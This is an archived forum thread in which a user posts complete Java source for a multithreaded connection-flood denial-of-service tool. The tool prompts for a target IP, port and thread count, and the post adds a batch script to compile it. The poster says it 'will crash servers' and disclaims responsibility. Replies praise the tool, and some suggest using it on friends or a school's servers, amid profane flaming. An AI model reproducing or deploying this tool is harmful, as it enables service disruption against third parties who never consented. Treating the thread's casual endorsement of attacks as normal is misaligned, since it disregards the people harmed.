PDA

View Full Version : Java DDOS


Stev0
12-15-2008, 09:40 AM
I do not take responsibility for what you use this for.


import java.net.*;
import java.util.*;
import java.lang.*;

public class Attack implements Runnable {

public static String server = "";
public static int port = 80;

public Attack() {

}

public static void main(String args[]) {
System.out.println("DDOS");
Scanner sc = new Scanner(System.in);
System.out.print("IP? ");
server = sc.nextLine();
System.out.print("Port? ");
port = Integer.parseInt(sc.nextLine());
System.out.print("Threads? ");
int c = Integer.parseInt(sc.nextLine());
Attack att = new Attack();
for(int i = 0; i < c; i++) {
(new Thread(att)).start();
}
}
public static void restart() {
Scanner sc = new Scanner(System.in);
System.out.print("IP? ");
server = sc.nextLine();
System.out.print("Port? ");
port = Integer.parseInt(sc.nextLine());
System.out.print("Threads? ");
int c = Integer.parseInt(sc.nextLine());
Attack att = new Attack();
for(int i = 0; i < c; i++) {
(new Thread(att)).start();
}
}

public void run() {
if (server.startsWith("www.dodian.com")) { System.out.println("Rot in hell."); restart(); }
else {
while(true) {

try {

Socket s = new Socket(server, port);
System.out.println("Attacking "+server+":"+port);
} catch(Exception e) {
System.out.println("IP "+server+":"+port+" has been nulled.");
}
}
}
}
}


Compile and create a .bat file

My compiler:

@echo off
if exist "%programfiles%\Java" (call :compile "%programfiles%\Java\") else (goto error)
:compile
for /D %%x in ("%~1jdk*") do (set p="%%~x\bin\javac.exe")
if defined p (%p% -cp . *.java)
if defined p (goto end)
:error
echo You do not have Java installed. Please download it at the site that is about to load.
"%programfiles%\Internet Explorer\iexplore.exe" http://java.sun.com/javase/downloads/index.jsp
:end
echo Finished!
pause
exit


Do not attempt to use this on dodian, if you do expect a nice IP ban from the firewall. It WILL fail.

This will crash servers ect but not any big ones like dodian.

Enjoy.

LYRiiCz
12-15-2008, 10:41 AM
So its a server crasher?
I mite use it on my friends :L

Bob Dole2
12-15-2008, 04:47 PM
Well for one, Dodians server IP is play.dodian.com, so if (server.startsWith("www.dodian.com")) { System.out.println("Rot in hell."); restart(); }
else { Wouldn't do anything unless somebody was trying to DDOS the website.

And number 2:

Downloads
Made something interesting? Share it here WARNING! Malicious code is a permanent ban from site and server!

Stealth
12-15-2008, 04:53 PM
He means the site's Firewall will ban you automatically.

Bob Dole2
12-15-2008, 04:59 PM
He means the site's Firewall will ban you automatically.
No, I'm saying look at the descritption of the downloads forum section. It says this. Downloads
Made something interesting? Share it here WARNING! Malicious code is a permanent ban from site and server!
And this is Deffinatley Malicious code.

Stev0
12-15-2008, 05:42 PM
No, I'm saying look at the descritption of the downloads forum section. It says this.
And this is Deffinatley Malicious code.


Ok guna say this nicely, If you wanna suck some **** then **** off this site. Don't ****ing come on my ****ing thread and talk your trash.

I have been around here a lot longer than you so **** off.

And also sweet heart, I put www.dodian.com (http://www.dodian.com) there so the skiddies knew what to do, change that website to anything they need. dodian will just firewall ban any connections that get sent via this tool so that does not matter.

and for your Malicious code, stick it up your ****ing ass idoit.

Asian
12-15-2008, 05:45 PM
Ok guna say this nicely, If you wanna suck some **** then **** off this site. Don't ****ing come on my ****ing thread and talk your trash.



Don't let people bully you, you got to stand up for yourself! Don't have to say it nice the first time.

Lmao, great post, stev0.

Jesse
12-15-2008, 05:52 PM
Well then. Firstly, it's not a DDOS, it's not distributed so it's only a DOS attack. In short, this floods the selected server and port with connections, that is all it does.

I won't remove it though, it's not malicious, because it sucks. Java isn't the language you want to write things to flood servers. Anyways, when I originally made the sections I meant like including botnets within your code, etc. That kind of maliciousness.

Oh well, <3 Stev0.

Bob Dole2
12-15-2008, 05:58 PM
Ok guna say this nicely, If you wanna suck some **** then **** off this site. Don't ****ing come on my ****ing thread and talk your trash.

I have been around here a lot longer than you so **** off.

And also sweet heart, I put www.dodian.com (http://www.dodian.com) there so the skiddies knew what to do, change that website to anything they need. dodian will just firewall ban any connections that get sent via this tool so that does not matter.

and for your Malicious code, stick it up your ****ing ass idoit.
Someone needs to mature up a bit eh?

Robert
12-15-2008, 06:01 PM
Someone needs to mature up a bit eh?

Na Stev0 is ftw. I don't really understand DDOS but i'm pretty sure it is ownage. Don't ever disrespect Stev0.

-Robert

Bob Dole2
12-15-2008, 06:03 PM
Na Stev0 is ftw. I don't really understand DDOS but i'm pretty sure it is ownage. Don't ever disrespect Stev0.

-Robert
No thanks.

Stev0
12-15-2008, 06:06 PM
Someone needs to mature up a bit eh?

Someone needs to get off the computer for once. Post on my topic again and your gone.

Jesse
12-15-2008, 06:08 PM
Bob Dole2 - post on this topic again flaming and I will ban you, you have your warning.

Bob Dole2
12-15-2008, 06:08 PM
Someone needs to get off the computer for once. Post on my topic again and your gone.
Oh, didn't see your post before I made this reply Benz.
Edit: And Stev0 was the one flaming btw, not me.

Robert
12-15-2008, 06:09 PM
I think I will take you up on that offer.

Say baibai. BANHAMMER. Stev0 post some more of these pl0x.

-Robert

Justin
12-15-2008, 09:18 PM
Use this on Dodian and you will receive the White Page Of Death :)

kuzmin
12-15-2008, 09:24 PM
Nitrogen why do you care for these programs if you don't know how to use them, =.-

I award you a golden start Stev0...I am running out of different good comments.

P I X E L
12-19-2008, 05:15 AM
use this on battlescape rofl.

evelstar7
12-20-2008, 02:56 PM
so it that wot java is omg i can do loads of that

Brains
12-20-2008, 03:28 PM
so it that wot java is omg i can do loads of that
This is a java dos, it's the simplest java code ever. open up a folder of a client or server and look at the code, you can't do loads of that. Even though there is an error..

Jesse
12-20-2008, 09:00 PM
This is a java dos, it's the simplest java code ever. open up a folder of a client or server and look at the code, you can't do loads of that. Even though there is an error..


Not exactly the simplest ("Hello World!" remains the standard), however extremely simple. A client or a server isn't all that difficult; complex programs (I say programs,we're not talking about private servers) tend to have some intricate code.

Beansz
12-20-2008, 09:05 PM
Nice one Stev0.

Stev0
12-21-2008, 09:34 PM
This is a java dos, it's the simplest java code ever. open up a folder of a client or server and look at the code, you can't do loads of that. Even though there is an error..


Do you even know what your talking about LOL?

Refer to my signature.

garret
12-23-2008, 12:57 AM
My Object Oriented Programming teacher says we can run any program we compile ourselves on the computers.
What an idiot.
Maybe I should use this on my schools servers just to let them know...

Webber
01-04-2009, 06:54 AM
so it that wot java is omg i can do loads of that

You can do loads of it yet you never even knew what it was..

Thiefmn6092
01-17-2009, 10:20 PM
Ok guna say this nicely, If you wanna suck some **** then **** off this site. Don't ****ing come on my ****ing thread and talk your trash.

I have been around here a lot longer than you so **** off.

And also sweet heart, I put www.dodian.com (http://www.dodian.com) there so the skiddies knew what to do, change that website to anything they need. dodian will just firewall ban any connections that get sent via this tool so that does not matter.

and for your Malicious code, stick it up your ****ing ass idoit.

StevO just has a larger then life ego. Anyways, why the hell even bother posting something so useless? LOL this is like moparscape all over again.